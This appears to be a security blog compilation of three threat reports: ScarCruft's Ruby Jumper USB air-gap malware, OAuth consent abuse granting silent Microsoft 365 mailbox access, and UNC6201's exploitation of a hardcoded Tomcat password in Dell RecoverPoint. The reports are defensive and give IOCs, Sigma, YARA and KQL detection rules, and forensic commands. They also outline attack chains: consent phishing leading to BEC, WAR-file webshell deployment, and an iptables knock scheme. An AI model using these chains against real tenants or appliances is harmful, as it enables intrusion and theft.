The masquerading is clever — disguising a full Ruby runtime as a USB utility.

Stage 3 — Air-Gap Bridge (THUMBSBD + VIRUSTASK)

This is where Ruby Jumper gets dangerous.

VIRUSTASK monitors for USB drive connections. When a removable drive with 2GB+ free space is detected, it:

• Creates a hidden $RECYCLE.BIN.USER folder
• Replaces victim files with LNK shortcuts pointing to usbspeed.exe
• Checks c:\programdata\usbspeed to identify already-infected hosts

THUMBSBD turns USB drives into a bidirectional C2 channel. It creates hidden directories on removable media to stage commands (CMD, MCD) and exfiltrate data (RST). The implant encrypts its configuration with single-byte XOR (key 0x83) and targets specific victims using SHA-256 identifiers derived from volume serial numbers.

This allows operators to send commands and receive stolen data through the USB relay — no network connection required on the air-gapped target.

Stage 4 — FOOTWINE (Full Surveillance)

The final payload is FOOTWINE, a full-featured backdoor with:

• sm — Interactive shell access
• dm — Screenshot capture and keylogging
• cm — Audio and video surveillance (microphone + webcam)
• fm — File upload, download, and deletion
• rm — Registry operations
• pm — Process enumeration
• pxm — Proxy relay for pivoting

FOOTWINE uses a custom binary protocol on port 8080 with random padding (32-846 bytes) and a 32-byte session key exchange to evade signature-based detection.

Indicators of Compromise

Network IOCs

File System Artifacts

%PROGRAMDATA%\usbspeed\           # Ruby runtime (masquerading)
%PROGRAMDATA%\ruby3.zip            # Staging archive
%LOCALAPPDATA%\TnGtp\TN.dat        # THUMBSBD config (XOR encrypted)
Scheduled Task: rubyupdatecheck    # 5-minute persistence

Registry Keys

HKCU\SOFTWARE\Microsoft\TnGtp              # THUMBSBD marker
HKCU\Software\Microsoft\ActiveUSBPolicies  # VIRUSTASK state

File Hashes (MD5)

MITRE ATT&CK Mapping

Detection Opportunities

Sigma Rule — SNAKEDROPPER Persistence

title: ScarCruft Ruby Jumper - SNAKEDROPPER Persistence
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection_path:
        Image|endswith: '\\usbspeed.exe'
        Image|contains: '\\ProgramData\\'
    selection_task:
        CommandLine|contains:
            - 'rubyupdatecheck'
            - 'operating_system.rb'
    condition: selection_path or selection_task
level: critical
tags:
    - attack.persistence
    - attack.t1053.005
    - attack.t1036.005

Sigma Rule — THUMBSBD USB Staging

title: ScarCruft Ruby Jumper - USB Air-Gap Relay
status: experimental
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|contains:
            - '$RECYCLE.BIN.USER'
            - '\\MCD\\'
            - '\\OCD\\'
            - '\\RST\\'
    filter:
        TargetFilename|contains: '\\$Recycle.Bin\\S-'
    condition: selection and not filter
level: high
tags:
    - attack.command_and_control
    - attack.t1092
    - attack.t1052.001

Network Detection

Monitor for:

• Zoho WorkDrive API calls (workdrive.zoho.com) from non-browser processes
• Custom binary protocol on port 8080 with random-length padding
• DNS queries to philion.store, homeatedke.store, hightkdhe.store

Why This Matters

Air-gapped networks exist specifically to protect the most sensitive systems — military, intelligence, critical infrastructure. ScarCruft's Ruby Jumper demonstrates that nation-state actors are actively investing in tools to breach these isolated environments.

The combination of cloud-based C2 (Zoho WorkDrive) for internet-connected systems and USB relay for air-gapped targets creates a complete kill chain that's difficult to detect with traditional security tools.

Key takeaways for defenders:

1. USB device control is not optional for sensitive environments
2. Monitor for Ruby runtimes in unusual paths (%PROGRAMDATA%)
3. Watch for scheduled tasks with suspicious names executing scripts
4. Block or alert on Zoho WorkDrive API access from non-sanctioned applications
5. Inspect $RECYCLE.BIN directories on removable media for hidden staging folders

Need help assessing your exposure to nation-state threats? Request a free penetration test — currently in open beta.

References:

• Zscaler ThreatLabz: APT37 Adds New Capabilities for Air-Gapped Networks
• The Hacker News: ScarCruft Uses Zoho WorkDrive and USB Malware

An employee at your organization connected ChatGPT to their work account. A consent popup appeared. They clicked "Accept." That single click gave ChatGPT — and anyone who compromises that OAuth token — permanent, silent read access to every email in their inbox.

No password needed. No MFA prompt. No login alert. The token just works, quietly, in the background, forever — until someone revokes it.

This isn't a vulnerability in ChatGPT. It's a design flaw in how Microsoft Entra ID handles OAuth consent — and it affects every Microsoft 365 organization on the planet.

How It Works

Step 1: The Consent Screen

When a user connects ChatGPT (or any third-party app) to their Microsoft 365 account, Entra ID presents an OAuth consent screen:

"ChatGPT" would like to:
✓ Read your mail
✓ Maintain access to data you have given it access to
✓ View your basic profile

[Accept]  [Cancel]

The critical permission is Mail.Read — access to read every email in the user's mailbox via Microsoft Graph API.

Most users click Accept without reading. Most organizations allow non-admin users to grant these permissions by default.

Step 2: Service Principal Creation

Once the user consents, Entra ID creates a Service Principal — a persistent digital identity for the application. This service principal receives an OAuth token that:

• Never expires (until explicitly revoked)
• Bypasses MFA — it's a token, not a login
• Works in the background — no user interaction needed
• Survives password changes — the token is independent of the user's credentials

The app doesn't log in as the user. It authenticates as itself, with delegated permissions to read the user's mail.

Step 3: Silent Email Access

With the Mail.Read scope and offline_access, the application can:

GET https://graph.microsoft.com/v1.0/me/messages
Authorization: Bearer {oauth_token}

→ Returns every email in the user's mailbox
→ No audit trail in the user's sign-in logs
→ No MFA challenge
→ No notification to the user

This isn't hacking. This is the OAuth 2.0 protocol working exactly as designed.

Why This Is Dangerous

The Legitimate Scenario

ChatGPT (App ID: e0476654-c1d5-430b-ab80-70cbd947616a) is a legitimate application from OpenAI. When a user connects it to their work account, OpenAI's servers can read their email to provide AI-assisted features.

This is the intended behavior. The problem is what happens next.

The Attack Scenario

An attacker doesn't need to compromise ChatGPT. They just need to:

1. Create a malicious app that looks like a legitimate service
2. Send a phishing link with an OAuth consent URL
3. User clicks Accept on the consent screen
4. Attacker's app gets a persistent token with Mail.Read access
5. Attacker reads every email — silently, indefinitely

Or even simpler:

1. Compromise any app that already has Mail.Read consent
2. Use its existing token to read emails
3. No phishing needed — the consent was already granted

Business Email Compromise (BEC) Chain

OAuth consent granted
    ↓
Attacker reads inbox silently for weeks
    ↓
Identifies pending wire transfer ($450,000 invoice)
    ↓
Learns communication patterns between CFO and vendor
    ↓
Sends spoofed email at the right moment:
    "Please update our bank details for this payment"
    ↓
Money gone. No malware. No suspicious login.

The FBI's IC3 reported $2.9 billion in BEC losses in 2023 alone. OAuth consent abuse makes BEC reconnaissance trivially easy.

The Scale of the Problem

In a typical Microsoft 365 tenant:

• Dozens of third-party apps have OAuth consent
• Most users can grant consent without admin approval (default setting)
• Nobody audits which apps have which permissions
• Tokens persist until manually revoked
• No expiration by default on delegated permissions

Red Canary researchers found that most organizations have no visibility into which applications have been granted email access through OAuth consent.

Detection

Audit Log Monitoring

The two critical events to monitor in Entra ID audit logs:

Operation: "Consent to application"
Operation: "Add service principal"

These events show exactly who authorized which application and when.

KQL Detection Query (Microsoft Sentinel)

AuditLogs
| where OperationName == "Consent to application"
| extend AppName = tostring(TargetResources[0].displayName)
| extend Permissions = tostring(TargetResources[0].modifiedProperties[0].newValue)
| where Permissions has_any ("Mail.Read", "Mail.ReadWrite", "Files.Read", "Chat.Read")
| extend ConsentUser = tostring(InitiatedBy.user.userPrincipalName)
| project TimeGenerated, ConsentUser, AppName, Permissions
| sort by TimeGenerated desc

High-Risk Permission Alert

AuditLogs
| where OperationName == "Consent to application"
| extend AppId = tostring(TargetResources[0].id)
| extend OrgId = tostring(AdditionalDetails[0].value)
| where OrgId != "<your-tenant-id>"  // External apps only
| extend Permissions = tostring(TargetResources[0].modifiedProperties[0].newValue)
| where Permissions has_any ("Mail.Read", "Mail.ReadWrite", "Mail.Send")
| project TimeGenerated, AppId, Permissions, InitiatedBy

Graph API — List All Consented Apps

# List all OAuth2 permission grants in your tenant
Get-MgOauth2PermissionGrant -All | Where-Object {
    $_.Scope -match 'Mail.Read|Mail.ReadWrite|Mail.Send'
} | Select-Object ClientId, PrincipalId, Scope, ConsentType

This single command shows every application with email access in your entire organization.

Remediation

Immediate: Revoke Suspicious Consents

# Find and revoke a specific app's consent
$grants = Get-MgOauth2PermissionGrant -All | Where-Object {
    $_.ClientId -eq "<suspicious-app-id>"
}
$grants | ForEach-Object {
    Remove-MgOauth2PermissionGrant -OAuth2PermissionGrantId $_.Id
}

Preventive: Restrict User Consent

In Entra ID → Enterprise Applications → Consent and permissions:

Ongoing: Audit Schedule

• Weekly: Review new "Consent to application" audit events
• Monthly: Enumerate all OAuth grants with Get-MgOauth2PermissionGrant
• Quarterly: Full review of all service principals and their permissions
• Immediately: Investigate any consent for Mail.Read/Write from unknown apps

MITRE ATT&CK Mapping

The Bottom Line

The OAuth consent screen is the new phishing email. It looks legitimate, it asks for permission politely, and it grants permanent silent access that survives every security control you've deployed.

Check your tenant right now:

Get-MgOauth2PermissionGrant -All | Where-Object {
    $_.Scope -match 'Mail'
} | Measure-Object

If that number surprises you, you have work to do.

Your users didn't get phished. They didn't click a malicious link. They just connected an AI tool to their work account — and gave away the keys to the inbox.

Need help auditing OAuth permissions across your Microsoft 365 tenant? Request a free penetration test at theinsider-x.com — currently in open beta.

Sources: Red Canary, Hackread, CybersecurityNews, GBHackers, Microsoft Entra ID Documentation

MITRE ATT&CK: T1528, T1550.001, T1114.002, T1566.002, T1078.004

Dell shipped a backup product with an admin password hardcoded in a config file. Chinese state hackers found it in mid-2024 and have been quietly exploiting it ever since.

CVE-2026-22769 affects Dell RecoverPoint for Virtual Machines — the software organizations trust to protect their VMware infrastructure. CVSS score: 10.0. Maximum severity. CISA added it to the Known Exploited Vulnerabilities catalog with a 3-day patch deadline for federal agencies.

The threat actor, tracked as UNC6201 by Google's Threat Intelligence Group (GTIG), deployed three custom malware families and invented a novel lateral movement technique using ephemeral virtual network interfaces.

The Vulnerability: Password in a Config File

Dell RecoverPoint for VMs ships with Apache Tomcat as its web management interface. The admin credentials were hardcoded in:

/home/kos/tomcat9/tomcat-users.xml

Username: admin. Password: hardcoded. This grants full access to the Tomcat Manager console at /manager/text/deploy.

With Tomcat Manager access, an attacker can deploy arbitrary WAR (Web Application Archive) files. WAR files execute as Java servlets with the same privileges as the Tomcat process — in this case, root.

This isn't a complex exploit. There's no buffer overflow, no race condition, no heap spray. It's a default password that Dell shipped in production for years.

The Attack Chain

1. Scan for Dell RecoverPoint instances (port 443)
       ↓
2. Authenticate to Tomcat Manager with hardcoded credentials
       ↓
3. Deploy SLAYSTYLE webshell via WAR file upload
       ↓
4. Execute commands as root via webshell
       ↓
5. Deploy BRICKSTORM or GRIMBOLT backdoor for persistence
       ↓
6. Create Ghost NICs for lateral movement into internal network
       ↓
7. Manipulate iptables to hide traffic and maintain access
       ↓
8. Long-term espionage (active since mid-2024)

UNC6201's Custom Malware Arsenal

SLAYSTYLE — The Webshell

The initial foothold. A Java-based webshell deployed as a WAR file through Tomcat Manager. Executes arbitrary commands with root privileges on the RecoverPoint appliance.

BRICKSTORM — The C# Backdoor

The primary persistence mechanism:

• Remote shell access with encrypted C2 communication
• File upload and download capability
• Command execution
• Written in C# — runs on the .NET runtime available on the appliance

GRIMBOLT — The Evolution

A newer variant designed to evade forensic analysis:

• Native AOT (Ahead-of-Time) compilation — compiles to a standalone binary with no .NET runtime dependency
• Significantly harder to reverse engineer than BRICKSTORM
• Enhanced anti-forensic capabilities
• Same C2 infrastructure as BRICKSTORM, suggesting evolution by the same team
• Eliminates dependency on .NET, reducing detection surface

Ghost NICs: A Novel Lateral Movement Technique

This is the most innovative part of the campaign.

After compromising the RecoverPoint appliance, UNC6201 creates temporary virtual network interfaces ("Ghost NICs") that bridge into internal network segments. These interfaces exist only long enough to perform reconnaissance or pivot to other systems — then they're deleted.

Why this matters:

• RecoverPoint appliances typically sit on management networks with broad access to VMware infrastructure
• The Ghost NIC technique leaves minimal forensic traces
• Network monitoring tools may not detect a temporary interface that exists for seconds
• Traditional network segmentation doesn't protect against an appliance that's already trusted

iptables Manipulation for Stealth

UNC6201 deployed custom iptables rules to:

1. Monitor port 443 for specific HEX signatures in incoming traffic
2. Whitelist approved source IPs — only the attacker's infrastructure gets through
3. Redirect traffic — when a matching signature is detected, redirect port 443 to port 10443 for a 300-second window
4. Auto-expire — rules reset after 5 minutes, leaving no permanent trace

This creates a knock sequence — the attacker sends a packet with a specific hex pattern, which opens a 5-minute window for C2 communication. To anyone monitoring, port 443 looks like normal HTTPS traffic.

Affected Versions

IOCs

File Hashes (SHA-256)

GRIMBOLT:

24a11a26a2586f4fba7bfe89df2e21a0809ad85069e442da98c37c4add369a0c
dfb37247d12351ef9708cb6631ce2d7017897503657c6b882a711c0da8a9a591

SLAYSTYLE:

92fb4ad6dee9362d0596fda7bbcfe1ba353f812ea801d1870e37bfc6376e624a

BRICKSTORM:

aa688682d44f0c6b0ed7f30b981a609100107f2d414a3a6e5808671b112d1878
2388ed7aee0b6b392778e8f9e98871c06499f476c9e7eae6ca0916f827fe65df
320a0b5d4900697e125cebb5ff03dee7368f8f087db1c1570b0b62f5a986d759
90b760ed1d0dcb3ef0f2b6d6195c9d852bcb65eca293578982a8c4b64f51b035
45313a6745803a7f57ff35f5397fdf117eaec008a76417e6e2ac8a6280f7d830

Network:

149.248.11.71

Detection

YARA Rule — SLAYSTYLE Webshell

rule SLAYSTYLE_Webshell {
    meta:
        description = "Detects SLAYSTYLE webshell deployed via Dell RecoverPoint"
        author = "theinsider-x.com"
        date = "2026-02-27"
        reference = "CVE-2026-22769"
    strings:
        $war_deploy = "/manager/text/deploy" ascii
        $tomcat_user = "tomcat-users.xml" ascii
        $cmd_exec = "Runtime.getRuntime().exec" ascii
        $hash = "92fb4ad6dee9362d0596fda7bbcfe1ba353f812ea801d1870e37bfc6376e624a"
    condition:
        2 of them
}

Sigma Rule — Tomcat Manager Exploitation

title: Dell RecoverPoint Tomcat Manager Unauthorized Access
status: experimental
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs_uri_stem|contains:
            - '/manager/text/deploy'
            - '/manager/html/upload'
        cs_username: 'admin'
    condition: selection
level: critical

Network Detection

title: UNC6201 C2 Communication
status: experimental
logsource:
    category: firewall
detection:
    selection_ip:
        dst_ip: '149.248.11.71'
    selection_port:
        dst_port:
            - 443
            - 10443
    condition: selection_ip or (selection_port and dst_port == 10443)
level: critical

Forensic Checks

# Check for SLAYSTYLE webshell in Tomcat
find /home/kos/tomcat9/webapps/ -name '*.war' -newer /home/kos/tomcat9/webapps/ROOT.war

# Check for Ghost NIC artifacts
ip link show | grep -v 'state UP\|lo:'
journalctl -u NetworkManager --since '2024-06-01' | grep 'new link'

# Check iptables for port redirection rules
iptables -t nat -L -n | grep 10443

# Check for BrickStorm/GrimBolt processes
ps aux | grep -E '/tmp/\.|/var/tmp/' | grep -v grep

# Verify tomcat-users.xml hasn't been accessed
stat /home/kos/tomcat9/tomcat-users.xml

MITRE ATT&CK Mapping

Remediation

Immediate (Today)

1. Patch — Upgrade to Dell RecoverPoint for VMs 6.0.3.1 HF1
2. If patching isn't immediate — Apply Dell's remediation script (KB000426742)
3. Block IOC — Add 149.248.11.71 to your firewall blocklist
4. Scan for webshells — Check Tomcat webapps directory for unknown WAR files

Forensic Investigation

5. Check Tomcat access logs for /manager/text/deploy requests since mid-2024
6. Scan for IOC hashes across all RecoverPoint appliances
7. Review iptables rules for any port redirection to 10443
8. Check network logs for connections to 149.248.11.71
9. Audit network interfaces — any recently created/deleted virtual NICs?

Strategic

10. Isolate backup infrastructure — RecoverPoint appliances should not have broad network access
11. Monitor Tomcat Manager — alert on any /manager/ access
12. Credential audit — scan for hardcoded credentials in ALL appliance configs

Your backup system was the backdoor. The appliance trusted to recover from compromise was itself compromised — for two years.

Need help checking if your Dell infrastructure has been compromised? Request a free penetration test at theinsider-x.com — currently in open beta.

Sources: Google GTIG/Mandiant, The Hacker News, Dell Security Advisory, CISA KEV, TrueSec

MITRE ATT&CK: T1190, T1078.001, T1505.003, T1547, T1090.003, T1046, T1041, T1070